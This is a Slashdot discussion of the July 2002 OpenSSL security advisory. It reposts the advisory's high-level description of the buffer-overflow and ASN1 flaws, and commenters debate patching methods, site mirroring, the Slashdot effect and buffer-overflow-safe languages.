OpenSSL Security Update

Pseud0 writes "Just announced on the OpenSSL announce mailing list. The affected versions are "[...] OpenSSL 0.9.6d or earlier, or 0.9.7-beta2 or earlier or current development snapshots of 0.9.7 to provide SSL or TLS is vulnerable, whether client or server. 0.9.6d servers on 32-bit systems with SSL 2.0 disabled are not vulnerable." Get your updates here."

Comments

For the want of an OS 9 openSSL

[Anonymous Coward]

sigh

- firstpost.

Security is a Fallacy

[SystematicPsycho]

It seems that by throwing secure at the end of something cons ppl into thinking its secure, ssh, ssl and who know how many encryption methods have been cracked. Face it, Security is a Fallacy.

Re:Security is a Fallacy

[Anonymous Coward]

No, the problem is with OpenSSH, OpenSSL, OpenBSD, etc.

Of course, OpenVMS (which is commercial) doesn't have these problems.

Re:Security is a Fallacy

[DLR]

So, just because it's easy to pick a lock means I shouldn't have locks on my car, home, etc.? No, there is an entire hierarchy of locks, some more difficult to pick than others. The question is how much do you want to pay for your locks? A pin tumbler (aka cylinder lock) is inexpensive, fairly easy to pick (so I hear) and what almost everyone in the USA has on the door of their dwelling. Wafer tumblers are even easier to pick, but that's what protects your car. Why use them since they're so insecure? Because they do the job 99% of the time.

So do a cost/benefit analysis, are you better off NOT using SSH/SSL et. al. or does it make sense to use them? Take a look at the history of what you are discussing. I don't believe that SSL has ever been cracked "in the wild". All of the Internet credit card theft I am aware of has been from the server being rooted and access to the data obtained, never through intercepting it en route.

DLR

Re:Security is a Fallacy

[Flower]

No, security is a process.

Re:Security is a Fallacy

[SystematicPsycho]

It makes sense to use it just plan for something to go wrong. Nothing is secure but something is much more secure than others.

Crud, *what*?

[Anonymous Coward]

Wait, what, WHAT? Back up. This sounds really bad. Is it? What is going on here? The OpenSSL page is being all slashdotted-y, but it seems to be saying there were at least three buffer overflow exploits in some versions of OpenSSL? Um. How much do i worry about this?

Basically, I don't understand all this blathering about versions. I have this here linux server i'm SSHed into. It's running slackware, but that shouldn't be important. Tell me how to type stuff into the command line and figure out whether i have an exploitable SSL and need to upgrade.

Doesn't OpenSSH rely on OpenSSL to function? What exactly does OpenSSL do in that capacity? Does this mean the openbsd "no remote root exploits in the default distribution" thing's been violated again? :)

Mirror?

[Natural One]

Does anyone out there have more information on the vunerability? The site is /.'d

Logic behind this

[Your_Mom]

OK, lets announce a major secuirty whole in a prouct that a good chunk of people use, then link to their website so that no one can download the patch(es).

Yeah... Real smart.

Honestly, when I want security updates, I'll read BUGTRAQ, when I want light fluff about the latest Stallman-ism, I'll read /.
(Still, if you want to do this, add a security section or something, jeez)

Re:Logic behind this

[phaxkolumbo]

Well, most of us shouldn't have to download the patches. Instead, we wait for our favourite distribution to come up with rebuilt packages and then install. At least in redhat, debian and mandrake. Probably others.

But... i agree with you, sort of. I understand that something of this scale is newsworthy, but still most of us don't need the source and/or patches directly. That's what rh's errata (and similar) are for. So, the actual announcement could have been slightly more subtle, or something...

But people shouldn't "want" security updates, people _need_ security updates, so i guess that's the reasoning behind this news story.

Re:Logic behind this

[MrBlue VT]

I gave up on packages a long time ago. Debian never had the latest versions of programs in their database, and it was too much of a pain to deal with the whole dselect tool. Thus I've got to have the sources to compile all my applications.

Plus, if you don't compile it yourself, who knows what extra goodies are being installed that you don't want.

Re:Logic behind this

[ronys]

Actually, the announcement which was distributed on the openssl-announce mailing list, comes with the patch as an attachment - about 16k long.

Re:Logic behind this

[phaxkolumbo]

Well, that's always the thing between source and binary distros.

And really, in most cases you don't need to be up-to-date instantly. Think about updating browsers etc.

Plus, if you don't compile it yourself, who knows what extra goodies are being installed that you don't want.

Well, that's a question of trust (and MD5-signatures), but, honestly, how many of us go through the source, line by line?

(but i'm a gentoo user myself, altough i use redhat at work. i don't like to think of myself as biased in any way.)

Re:Logic behind this

[Your_Mom]

So, binaries are good. You just have to wait few days with a root compromise in your computer. Sorry, I don't like have huge holes in my server while waiting for a vendor patch, just a personal thing.

(Honestly, you shouldn't either, thats why you should patch any hole immediately)

Re:Logic behind this

[spudnic]

This may sound like a plug for the RHN Enterprise service, because it is. I got in this morning at around 7:50, checked the status of all of my Red Hat servers through the web page and saw that there was an urgent update available for OpenSSL. I clicked 3 times and all of them were scheduled to get the update the next time they checked in.

It's now 9:44 and all of my servers are patched. It took me 5 seconds to schedule it, and just drank coffee and read /. as it happened.

It's well worth it. We're all sold on it, and the Novell guys are envious.

Re:Logic behind this

[phaxkolumbo]

Ok, you have an extremely good point there. I _don't_ think that people should just accept vulnerabilities, altough in most cases you can accomodate, shut down non-critical services etc.

But really, if you happen to be vendor-dependent, then there's not much you can do. Of course you could build it yourself,replace the binaries and fix the packaging system used later (when it arrives). I did this last time openssh had issues. But with openssl i don't think you can get away that easily.

Still, oh well, back to slackware, then.

Re:Logic behind this

[Azar]

1) I read the slashdot story.
2) Logged into my server running Trustix (a hardened RedHat).
3) Ran "swup --upgrade" to see if the packages had already been updated.
4) It downloaded and installed the fixed packages.

All in less than 5 minutes.

What's so hard about that? I have fixed binary packages quicker than anyone else at /. trying to get the original sources.

Re:Logic behind this

[LiquidPC]

Posting it on slashdot is a good way to get the word out about the vulnerability. The fact that it got /.'d hardly means it shouldnt have been posted. Atleast more people know about it now, and will update eventually. Also, patches were sent out through bugtraq, so if you're subscribed to that you already have the patches in your inbox.

Re:Logic behind this

[42forty-two42]

Or, for gentoo users, we rebuild ourselves.

Re:Logic behind this

[realdpk]

Bugtraq's signal-to-noise ratio is much lower than /.'s when it comes to relevant security vulnerabilities, IMO. Bugtraq has shit like "Easy Guestbook" "W3Mail" and "phpBB" all the time. Barely readable.

Re:Logic behind this

[$rtbl_this]

I've been sitting here this afternoon reading the various advisories as they've dropped into my mailbox, and it appears that most of the major Linux distros have updated binary packages already.

Most of the time, when a vulnerability is announced through a source like BugTraq the vendor/developer has already been contacted a few weeks previously. In cases like this, the developers will get in contact with distro vendors and give them the patch before the public announcement, allowing the distribution of packages to be coordinated with the announcements.

The bottom line is that I don't see how using binary packages means having to wait a few days. I'm in the process of updating my servers now - if you can't do the same maybe you should find a different distro.

Re:Logic behind this

[flatus]

You are the man. That is so cool. I wish that I was as smart as you. I want to be like you. . . .

Is that what you are looking for? I can not think of any other reason that you would want to run a dist that you have to build yourself.

Re:Formula for response

[mr_z_beeblebrox]

Great script. Do you disagree with that attitude? I love articles like " Guy finds bug with MS software, secretly reports to bugtraq elite, meanwhile affected systems chug away" My favorite is when bugtraq won't reveal the vulnerability, but they give a temporary fix. Partial disclosure rocks because after all the only liability that M$ should have to worry about is image, who cares about your system.

I wager that partial disclosure results in only partial patching

Mirrors list mirrored

[Olinator]

Here. (I tried to submit this story with this link, 'cause the site was going down before it appeared on /.; guess I wasn't fast enough.)

Ole

Re:Mirrors list mirrored

[Your_Mom]

Thanks a lot. I can download now. woohoo! Of course, the UMass sysadmin is going to be wonder why 50,000 geeks are clicking to your home directory now.

Personally, I would expect an e-mail from him :)

Re:Mirrors list mirrored

[funky womble]

A very good idea, but unfortunately most of the mirrors don't have 0.96e available and now they probably won't be able to update until the master site stops being overloaded :(

Would have been quite helpful if the announcement (particularly the announcement on the front page here) could have been held until after most of the mirrors had updated.

It might actually be a very good idea to move this story off the main page for a few hours...

Re:Mirrors list mirrored

[Olinator]

Blockpoth the quoster:

Of course, the UMass sysadmin is going to be wonder why 50,000 geeks are clicking to your home directory now.

"Naah, I removed those pictures months ago."

Besides, I'm used to getting email from UMass sysadmins -- although now I suppose we're going to have to quibble about who gets to claim the title of "The UMass sysadmin". (It's a largish school, there are a lot of us -- usually multiple BOFHen per department, particularly in the sciences.:)

Ole

(Who's been accused of many things, but never schizophrenia.)

Re:Mirrors list mirrored

[dsaljurator]

the only mirrors that seem to actually have this are:

# ftp://opensores.thebunker.net/pub/mirrors/openssl/

and ftp.openssl.org

all the other's i tried weren't up to date.

Re:Mirrors list mirrored

[BJH]

Sorry, but I'd be *really* suspicious of any software that I downloaded from a host called "opensores"...

BS. It beats the hell out of the alternative.

[BoomerSooner]

So you'd rather run ftp than sftp or telnet than ssh? It is true if someone really wants in your system they can get in one way or another. However, you should make the possibility of intrusion as difficult as possible, instead of the "it's going to get cracked anyway" attitude.

Re:BS. It beats the hell out of the alternative.

[SystematicPsycho]

didn't have a 'its going to get cracked anyway' attitude. It is the misconception of most ppl that just because it is supposedly secure that it won't get cracked and that is not a good attitude to have. Trust the security experts but don't trust them to always get it right.

Re:BS. It beats the hell out of the alternative.

[roachmotel3]

I agree with you that people tend to be more confident in making "secure" transactions over the internet because the little key icon in their MSIE window.

Yes, the transaction itself (which contains your CC number) might go over the internet securely, but if I wanted your CC#, I wouldn't be sniffing the OC-48 backbones, I'd pop the database that stores it so next time you buy a book or what-not, you don't have to type it in again.

I agree that people need to realize that good security is implemented in a layered approach, and that a secure system is only as strong as it's weakest link. However, I think that your initial post was somewhat immature. "Oh, what the heck -- your box is going to get cracked anyway, just run telnet, ftp, finger, and allow rlogin. It's the same anyway."

Just my opinion.

Question

[Ender Ryan]

What is the difference between openssl-engine-0.9.6e.tar.gz and openssl-0.9.6e.tar.gz?

Re:Question

[Anonymous Coward]

the engine bit is for interfacing with external crypto devices/accelerator cards. from version 0.9.7 it's included in the main distribution.

How about some common courtesy?

[gosand]

For crying out loud, how about at least putting the text of the security alert in the story. Honestly, how hard would it have been to do that? Now all I know is that there is some security issue with OpenSSL, and I can't get to the site to even see what it is. I know /. can't control the fact that sites get slashdotted, but you could be a little more considerate and give us SOME information.

Re:How about some common courtesy?

[tbmaddux]

Found details on vulnerabilities (don't know if they're the same ones as the ones being patched) in OpenSSL at bugtraq:

"There are several potentially exploitable vulnerabilities in the OpenSSL toolkit. A security review of OpenSSL is being done by A.L. Digital Ltd and The Bunker (http://www.thebunker.net/) under the DARPA program CHATS. Through this review, the following vulnerabilities were discovered:

1. The client master key in SSL2 could be oversized and overrun a buffer. This vulnerability was also independently discovered by consultants at Neohapsis (http://www.neohapsis.com/) who have also demonstrated that the vulnerability is exploitable.

2. The session ID supplied to a client in SSL3 could be oversized and overrun a buffer.

3. Various buffers for ASCII representations of integers were too small on 64 bit platforms.

4. The ASN1 parser can be confused by supplying it with certain invalid encodings.

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0656 to issues 1-2, CAN-2002-0655 to issue 3, and CAN-2002-0659 to issue 4.

Here's a link.

Re:How about some common courtesy?

[leuk_he]

I can still read it:
It's a little slow.

But i really should post a mirror. ...

but then the "Lameness filter encountered. Post aborted!
Reason: Please use fewer 'junk' characters."
does not allow a post of this on this page.

2 Vulnerabilities
--------------- The ASN1 parser can be confused by supplying it with certain invalid
encodings. The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CAN-2002-0659 to this issue.

Damn, my application is not even yet realeased and already i must check it's security. I should use the openssl library veriosn 1.0.

Re: How about some common courtesy?

[Black Parrot]

> 1. The client master key in SSL2 could be oversized and overrun a buffer.

> 2. The session ID supplied to a client in SSL3 could be oversized and overrun a buffer.

Forgive me for opening the language flamewars again, but doesn't anyone else find this "a wee bit inexcusable" in software designed for secure network access?

As has been mentioned here countless times before, there are languages that disallow buffer overflows (period), and for people who don't want to use those languages there are libraries that replace built-in I/O functions for the same effect.

Hasn't it occured to anyone in the security industry that buffer overflows are a serious threat, and for things like SSL, BO-proof coding should be adopted as a matter of policy, rather than as a bug-to-fix-when-we-catch-it?

I'm not trying to villify anyone, and I'm really glad to see that someone has been hired to do a thorough security audit... but I just find this kind of thing completely incomprehensible, when it's so easy to avoid it in the first place.

Re:How about some common courtesy?

[Anonymous Coward]

I know /. can't control the fact that sites get slashdotted, but you could be a little more considerate and give us SOME information.

ROTFLMYO! That's a good one! Yeah, right, Slashdot hasn't even figured out how to spell check; you really think they'll give useful information?

Re: How about some common courtesy?

[realdpk]

For that matter, if it's possible for libraries to take care of this, why isn't libc (or whichever) fixed to handle this itself? It seems like that'd be a great area to spend effort.

Re: How about some common courtesy?

[Anonymous Coward]

Any time you rocket scientists want to take your arm-chair security expertise to the table and put your money where your mouth is, the world will submit your impressive security patches.

Re: How about some common courtesy?

[hobit]

For that matter, if it's possible for libraries to take care of this, why isn't libc (or whichever) fixed to handle this itself? It seems like that'd be a great area to spend effort.

A few reasons:

• First of all, bounds checking on an array in C would cause some working (but probably poorly written) programs to stop working.
• Secondly, the overhead to check bounds could be quite signficant. Right now an array lookup is just bit of math (probably a shift and add) followed by a load or store. This would greatly increase the amount of math required and would add at least one more load (to find the bounds). So every single array access would slow down!
• Third, and this one I'm less sure of, I think that in C you often have reasonable code where it would be almost impossible for the compiler to do the bounds check. C just wasn't designed with this in mind.
• Forth, I know I've used pointers to into arrays before. Without a great deal of care the same buffer overflow problems could occur due to the pointers.

My point: the way C code is written, as well as the C language itself, makes doing 100% solid bounds checking basically impossible.

Re:How about some common courtesy?

[krogoth]

If you care about security, you should be reading Bugtraq. As soon as I saw the title I checked my email and read the real advisory - now that I'm done upgrading, I can come back and see what Slashdot says about it.

Re: How about some common courtesy?

[frantzen]

bugs exist. deal with it. expecting anything less is naive.

to rewriting these in 'safe' languages. thank you very much but no. pushing the responsibity for security off the software author and onto the compiler/virtual machine is not a solution. it just deflects blame. not to mention the performance implications of doing crypto in a virtual machine. blech

Re: How about some common courtesy?

[Black Parrot]

> bugs exist. deal with it. expecting anything less is naive.

That's exactly the attitude that baffles me. Sure bugs exist... but why not eliminate the ones that are easy to eliminate?

Especially something as déclassé as a buffer overflow in "secure" networking infrastructure?

> to rewriting these in 'safe' languages. thank you very much but no.

The issue I wanted to raise isn't a suggestion for a re-write, but rather, why wasn't it done right in the first place? This could have been prevented easily, either by choice of language or use of alternative I/O routines.

> pushing the responsibity for security off the software author and onto the compiler/virtual machine is not a solution. it just deflects blame.

That's a curious excuse^w attitude.

> not to mention the performance implications of doing crypto in a virtual machine. blech

I certainly didn't have Java in mind. There are plenty of ways of avoiding this problem without resort to a virtual machine.

Re: How about some common courtesy?

[Black Parrot]

> My point: the way C code is written, as well as the C language itself, makes doing 100% solid bounds checking basically impossible.

If true, that sounds like sufficient reason to avoid using C when writing secure networking software.

Re:How about some common courtesy?

[Pseud0]

I agree. Myself I'd like to post a LOT more information on any story I submit to /., however - I've come to notice that if the story text is not "brief" it will commonly get rejected. I guess the /. people just have too much on their hands to read through lengthy texts. I dunno...

Oh.. And sorry for not posting mirror sites. Slipped my mind. :-/

Re:How about some common courtesy?

[gosand]

If you care about security, you should be reading Bugtraq

Then why would the story even be posted here? *IF* they are going to post a story like this, they should put some information in the story. Otherwise, why bother? They had to have the info sitting right in front of them. Do you know how many hits that would have saved the other websites? Slashdot is about reposting stories, it is a meta-news site. News for Nerds and all. Pointing me to another story without giving me any details isn't news.

Answer

[petard]

engine versions incorporate support for hardware cryptographic devices.

oh bloody hell

[Anonymous Coward]

this is *such* a pain in the arse. where do i begin?

The Slashdot effect - enough is enough

[pieterh]

As a poster noted, it is quite ironic that /. effectively acts as a DoS against web sites. Yes, I'm trying to download the update to OpenSSL, an excellent product that we use in our applications. No, I can't reach their site, because millions of /.ers are trying to read the site.
Isn't it time that /. did a Google? It cannot be so difficult to mirror a site and refer to that instead of the prime site?
I like reading and posting here, but the /. effect is not just really annoying and traumatic to those sysadmins exposed to it, it's unpolite, and it's unnecessary. CmdrTaco, please consider doing something smarter to mirror targetted sites.

Re:The Slashdot effect - enough is enough

[Anonymous Coward]

At least put some more info, I don't need to download updates, I just want info on affected versions and SEVERITY/EXPLOITABILITY of bug. Will my HTTPS servers be rooted^Wapached by just anyone because of this, or is it just some piddly confidentiality thing? Shouldn't be too long for the "Read More" section of slashdot, leaving concerned users more bandwidth to download...

Re:The Slashdot effect - enough is enough

[pr0nbot]

Wow, you mean people actually go read the article before posting?

Re:The Slashdot effect - enough is enough

[alain1234]

Right, I wonder why some people work hard at designing ddos tools as they could just submit the url on slashdot !

Re:The Slashdot effect - enough is enough

[Anonymous Coward]

RTFM: Why Slashdot doesn't cache

Re:The Slashdot effect - enough is enough

[red_gnom]

Slashdot can benefit financially from mirroring those sites, by displaying some banners.

Of course the legal stuff with the sites owners has to be resolved before mirroring, and it takes some time and efforts.

Re:The Slashdot effect - enough is enough

[duffbeer703]

Do you expect people who cannot even spell correctly to be able to pull that off?

CmdrTaco's reasoning for not mirroring is that he doesn't want to piss anyone off or fudge up their banner ad statistics.

I guess making a site inaccessible doesn't piss anyone off.

As far as intellectual property is concerned, I cannot see how that would be an issue when sites like Google regularly cache all sorts of pages.

Re:The Slashdot effect - enough is enough

[Nicolas MONNET]

Well if most ISPs had some sort caching proxy, *and* managed to get their users to use it, this problem would be less severe, as the more a page is /.'ed, the more it's likely to generate a cache hit.

The problem is that cacheing proxies are less and less used by ISPs nowadays as bandwidth is cheaper compared to the price of operating a proxy: cost of hardware, administration, fault tolerance etc. Big caches with lots of users are a lot of trouble; I guess it's however a good deal to implement them for medium/small sized networks, with at most a few thousand users.

BTW I was thinking of a way to entice users to set up the proxy using traffic shaping and w/o using transparent proxy, which can be quite annoying at times: limit the bandwidth available on direct port 80 connections, but provide unlimited bandwidth through the proxy.

Re:The Slashdot effect - enough is enough

[Boing]

> It cannot be so difficult to mirror a site and refer to that instead of the prime site?

Slashdot already requires a buttload of bandwidth just for serving a fairly basic page over and over again. If they had to also serve the sites they link to (especially if the content of those sites is primarily images and/or movies), we would see a lot more than intrusive banner ads and subscription requests.

Re:The Slashdot effect - enough is enough

[_xeno_]

I've posted this rant before, but it seems appropriate to reiterate again in response to Slashdot killing the OpenSSL servers. As most people know, CmdrTaco gives a reason for not caching pages in the FAQ. Quotes from the FAQ answer:

Sure, it's a great idea, but it has a lot of implications. For example, commercial sites rely on their banner ads to generate revenue. If I cache one of their pages, this will mess with their statistics, and mess with their banner ads. In other words, this will piss them off.

Fair enough, and I agree - commerical sites probably would rather see the direct flow of visitors. However...

Of course, most of the time, the commercial sites that actually have income from banner ads easily withstand the Slashdot Effect. So perhaps we could draw the line at sites that don't have ads. They are, after all, much more likely to buckle under the pressure of all those unexpected hits.

Like OpenSSL - they are not commerical and cannot be expected to withstand the load of a Slashdotting and whatever other security lists have posted this.

But what happens if I cache the site, and they update themselves? Once again, I'm transmitting data that I shouldn't be, only this time my cache is out of date!

Well, yeah, that could be a problem. But then you get to:

I could try asking permission, but do you want to wait 6 hours for a cool breaking story while we wait for permission to link someone?

Well, yeah! I'd love to wait six hours to read a cool breaking story if it means I get to read the linked content or the mirrors have time to update. It sure beats waiting a day for the Slashdot effect to have worn off and for the servers to be responsive again, or pissing off all the mirror operators who now can't get at the content they intend to mirror.

Bottom line, I think contacting the owners of sites that probably cannot withstand the Slashdot Effect would be common courtesy - and possibly avoid some of the embarassments we've seen with Slashdot posting news of a release that hasn't actually happened.

So while caching content may not be the best answer, at least contact the site operators. They might tell you to wait, or to use a mirror, or at least know that they can expect higher load for a while and can possibly reduce load on their end. It just seems like the smart and courteous thing to do.

(And if anyone wants to question "a day" as for how long the Slashdot Effect lasts, yeah, I'm being overly drammatic. The Slashdot Effect generally lasts for around four hours on a site and then starts tappering off (with peak transfer from about 10 minutes after the link goes up to around 2 hours). Obviously, if there's a lot of data to transfer, the effect lasts longer. This is based on both the data transfer graphs generated with the Linux-powered Christmas tree and when I posted a mirror of KDE screenshots. Depending on the vitality of the content, like security updates, though, it's better to wait for the mirrors to get the content then to just send everyone looking all at once.)

Re:The Slashdot effect - enough is enough

[liquidsin]

Everyone else has posted a link to the part of the faq where they explain why they don't cache, but there are some circumstances where it would be well worth it. This one for example. How many people right now are trying to download the update and can't get to the site. If you're not going to cache it, at least post the whole story, mirror the patch, or post the mirror list so the rest of us can get our security patches. I'm pretty sure you probably downloaded the patch for yourselves before you posted the story.

Re:The Slashdot effect - enough is enough

[realdpk]

Yeah, RTFM yourself. OpenSSL.org is not a commercial site.

I can sort-of understand not caching pages from commercial sites but from a site that is part of the "Open Source" community? The one that /. itself is also a big part of? It's inexcusable.

Re:The Slashdot effect - enough is enough

[Da Schmiz]

I'd love to wait six hours to read a cool breaking story if it means I get to read the linked content or the mirrors have time to update.

Agreed. In fact, I seem to remember an offhand remark by one of the editors to the effect that they often queue stories to run at certain times of the day anyway (to give the community some time to discuss the current big story before the next one hits). If they're already delaying some stories for several hours or more, I see no reason why they couldn't also at least send a heads-up to the site admin.

Of course, the flip side is this: the grandparent post suggested slashdot "pull a google". Why reinvent the wheel? Why not just force editors to include links to the google cache whenever possible. Keep in mind that the cached page will have a link to see the uncached version, so people who want to get up-to-date information can. If the focus of the story is images rather than text, include some links to the google cache of the images (maybe below the fold if there's a lot of them, so they don't clutter up the main page).

Taco & the gang have this attitude that there's nothing they can do about it. I disagree. It wouldn't even have to be that hard.

Just my two and a half cents.

Re:The Slashdot effect - enough is enough

[Sloppy]

Why not just force editors to include links to the google cache whenever possible.

Slashdot readers get something out of it. OpenSSL users get something out of it. And Google is left to pick up the check? What did they get out of it? I think this would be unfair to Google.

Re:The Slashdot effect - enough is enough

[Da Schmiz]

I disagree. Google is providing a service, and my suggestion would be to simply use that service as it is intended. Take a look: they actually encouage linking to cached versions of files.

Certainly, if bandwidth became prohibitive, OSDN and Google could participate in some kind of joint-marketing project, with branded links ("click here for OpenSSL -- Powered by Google!") and/or advertising. I'd gladly put up with unobtrusive advertising in the google cache if it meant that I could get what I need to secure my system.

Re:The Slashdot effect - enough is enough

[hobit]

Simply do the following. Have a link to the real site and then after the link include the link to the local copy of that page. So, for example it might look like:

Cool story link (local)

People can get to the real page. If it is hosed, or they don't mind getting the locally cached page, they can click on that. As long as the fine folks at slashdot don't put their own ads on that page (or charge for them via a pageview) I don't think there would be any problem.

Re:The Slashdot effect - enough is enough

[zCyl]

Well, yeah! I'd love to wait six hours to read a cool breaking story if it means I get to read the linked content or the mirrors have time to update. It sure beats waiting a day for the Slashdot effect to have worn off and for the servers to be responsive again, or pissing off all the mirror operators who now can't get at the content they intend to mirror.

If this is how you feel, then just read stories on Slashdot when they're six hours old. Slashdottings don't really last that long, it's only the top stories that get clobbered. If you see something posted and can't get to it, relax, go get some coffee, play a round of pool (or do some sysadminning, if they actually make you work), then come back and get what you need when the rush has worn down a little.

I understand you being concerned about security updates, but realistically, most security problems are in the wild before fixes are available anyway. System administration can't depend purely on getting the patch before the bad guy gets the exploit. Sooner or later that will fail.

Personally, if there are people out there who know something I use is vulnerable, I want to know as soon as possible, rather than wait until I'm sure I can get the patch.

Re:The Slashdot effect - enough is enough

[Anonymous Coward]

the server was dying long before ths slashcrowd
starting hitting it. LOTS of people use OpenSSL
and lots of people read bugtraq.

Re:The Slashdot effect - enough is enough

[_xeno_]

Personally, if there are people out there who know something I use is vulnerable, I want to know as soon as possible, rather than wait until I'm sure I can get the patch.

Yeah, but the Slashdotting also prevented people from reading that actual advisory (which, being just text, probably could have been cached fairly easily...).

Reading the advisory indicates that the problems are only in SSL2 client side, and SSL3 both sides. Plus there is a potential problem on 64 bit systems. The other important bit of information was also rendered difficult to read:

Servers can disable SSL2, alternatively disable all applications using SSL or TLS until the patches are applied. Users of 0.9.7 pre-release versions with Kerberos enabled will also have to disable Kerberos.

Client should be disabled altogether until the patches are applied.

(And an ASN2 library exploit, I think.)

Now luckily, some Slashdot posters got the advisory and posted the text to Slashdot. But still, not just in this case but in others, it seems like it would be a small price to pay to just ask the site owner if they can post the story and if they need help with bandwidth issues. Besides, the six hour figure is made up anyway - the site could respond far quicker than that, or far later. It depends. And since many times, the "breaking news story" is something relatively foolish like Lego desks, there is little to be lost in waiting a day for a response from the owner.

Except potentially knocking the content offline and causing untold expenses on the owner's end.

Re:The Slashdot effect - enough is enough

[Anonymous Coward]

> CmdrTaco's reasoning for not mirroring is that he doesn't want to piss anyone off or fudge up their banner ad statistics.

How does that reasoning apply to non-commercial sites like OpenSSL (Or mozilla.org, or openoffice.org, or ...)?

Re:another victory for Open Source!

[mistermoonlight]

Er, I was under the impression that Apache still has the larger market share, so who's walking all over who? Honestly, I don't think even this ".Net works with Apache" crap is gonna switch people over either.

you've been drinking the kool-aid again

[endoboy]

need to work on your buzzwords a little tho-- you left out "FUD"

Thanks

[Ender Ryan]

Thank you, kind Sir.

Look in alt.binaries.warez.linux in 15 minutes

[Anonymous Coward]

I'll put them there. Quit hammering their servers.

Re:Look in alt.binaries.warez.linux in 15 minutes

[mr_z_beeblebrox]

I'll put them there. Quit hammering their servers.

Don't worry about that pesky /. affect sir. I got the binary patch off a warez server. All secure now ;-)

Re:Look in alt.binaries.warez.linux in 15 minutes

[Anonymous Coward]

Maybe I'm getting my PGP Sig vs MD5 sum confused, but couldn't you just check the MD5 sum of the downloaded file with the MD5 sum posted, since that should tell you if the files are the same or not?

Re:Look in alt.binaries.warez.linux in 15 minutes

[mr_z_beeblebrox]

You are not getting them confused you are right. It is unlikely that anyone could get the same MD5 sum, however if it were going to happen a warez site is where it would happen.

Re:Look in alt.binaries.warez.linux in 15 minutes

[zCyl]

It is unlikely that anyone could get the same MD5 sum

If warez folk developed magic powers to undo one-way functions, the world would have much bigger problems than the security of your server.

Re:Look in alt.binaries.warez.linux in 15 minutes

[mr_z_beeblebrox]

That is true. Go ahead and download security patches from a warez site...good idea. Since the site is /.ed (or was) what md5 sum were you going to compare it to? The one the nice kid posted for you after you bring that up? Seriously folks, security does not "just happen" Security is a state of mind for which most would seek treatment. Trust me...They are out to get you.

OK. I admit I'm biting

[Anonymous Coward]

Doesn't OpenSSH rely on OpenSSL to function?

No.

Does this mean the openbsd "no remote root exploits in the default distribution" thing's been violated again?

No.

Re:OK. I admit I'm biting

[Anonymous Coward]

I am curious (for technical reasons). What is the relation between openssh and openssl? I know that openssl must be installed for openssh to compile.

Based on what you are saying then a system that only has openssl so that openssh could be compiled is not vulnerable (assuming the most recent version of openssl) to this openssl bug.

correct?

Re:OK. I admit I'm biting

[Enry]

>Doesn't OpenSSH rely on OpenSSL to function?

No.

Yes it does. But I don't think any of the vulernabilities that affect OSSL will affect OSSH.

Re:OK. I admit I'm biting

[mborland]

Doesn't OpenSSH rely on OpenSSL to function?

No.

Really? I need it for the install of SSH, and ssh -V indicates the version of OpenSSL used. Maybe you mean that OpenSSH is not vulnerable due to the way it uses the libraries.

A little clarification might be useful.

Bulletin

[Anonymous Coward]

OpenSSL Security Advisory [30 July 2002]

This advisory consists of two independent advisories, merged, and is an official OpenSSL advisory.

Advisory 1

A.L. Digital Ltd and The Bunker (http://www.thebunker.net/) are conducting a security review of OpenSSL, under the DARPA program CHATS.

Vulnerabilities

All four of these are potentially remotely exploitable.

1. The client master key in SSL2 could be oversized and overrun a buffer. This vulnerability was also independently discovered by consultants at Neohapsis (http://www.neohapsis.com/) who have also demonstrated that the vulerability is exploitable. Exploit code is NOT available at this time.

2. The session ID supplied to a client in SSL3 could be oversized and overrun a buffer.

3. The master key supplied to an SSL3 server could be oversized and overrun a stack-based buffer. This issues only affects OpenSSL 0.9.7 before 0.9.7-beta3 with Kerberos enabled.

4. Various buffers for ASCII representations of integers were too small on 64 bit platforms.

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0656 to issues 1-2, CAN-2002-0657 to issue 3, and CAN-2002-0655 to issue 4. In addition various potential buffer overflows not known to be exploitable have had assertions added to defend against them.

Who is affected?

Everyone using OpenSSL 0.9.6d or earlier, or 0.9.7-beta2 or earlier or current development snapshots of 0.9.7 to provide SSL or TLS is
vulnerable, whether client or server. 0.9.6d servers on 32-bit systems with SSL 2.0 disabled are not vulnerable. SSLeay is probably also affected.

Recommendations

Apply the attached patch to OpenSSL 0.9.6d, or upgrade to OpenSSL 0.9.6e. Recompile all applications using OpenSSL to provide SSL or
TLS. A patch for 0.9.7 is available from the OpenSSL website (http://www.openssl.org/).

Servers can disable SSL2, alternatively disable all applications using SSL or TLS until the patches are applied. Users of 0.9.7 pre-release
versions with Kerberos enabled will also have to disable Kerberos. Client should be disabled altogether until the patches are applied.

Known Exploits

There are no know exploits available for these vulnerabilities. As noted above, Neohapsis have demonstrated internally that an exploit is
possible, but have not released the exploit code.

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CA N- 2002-0655
http://cve.mitre.org/cgi-bin/cvename.cg i?name=CAN- 2002-0656
http://cve.mitre.org/cgi-bin/cvename.cg i?name=CAN- 2002-0657

Acknowledgements

The project leading to this advisory is sponsored by the Defense Advanced Research Projects Agency (DARPA) and Air Force Research Laboratory, Air Force Materiel Command, USAF, under agreement number F30602-01-2-0537. The patch and advisory were prepared by Ben Laurie.

Advisory 2 Vulnerabilities

The ASN1 parser can be confused by supplying it with certain invalid encodings. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0659 to this issue.

Who is affected?

Any OpenSSL program which uses the ASN1 library to parse untrusted data. This includes all SSL or TLS applications, those using S/MIME (PKCS#7) or certificate generation routines.

Recommendations

Apply the patch to OpenSSL, or upgrade to OpenSSL 0.9.6e. Recompile all applications using OpenSSL.
Users of 0.9.7 pre-release versions should apply the patch or upgrade to 0.9.7-beta3 or later. Recompile all applications using OpenSSL.

Exploits

There are no known exploits for this vulnerability.

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CA N- 2002-0659

Acknowledgements

This vulnerability was discovered by Adi Stav and James Yonan independently. The patch is partly
based on a version by Adi Stav.

The patch and advisory were prepared by Dr. Stephen Henson.

Combined patches for OpenSSL 0.9.6d:
http://www.openssl.org/news/patch_2002073 0_0_9_6d. txt

Combined patches for OpenSSL 0.9.7 beta 2:http://www.openssl.org/news/patch_20020730_0_9_7 .txt

URL for this Security Advisory: http://www.openssl.org/news/secadv_20020730.txt

Happy Xmas

[fingal]

OpenSSL Security Advisory [30 July 2002]

This advisory consists of two independent advisories, merged, and is an official OpenSSL advisory.

Advisory 1

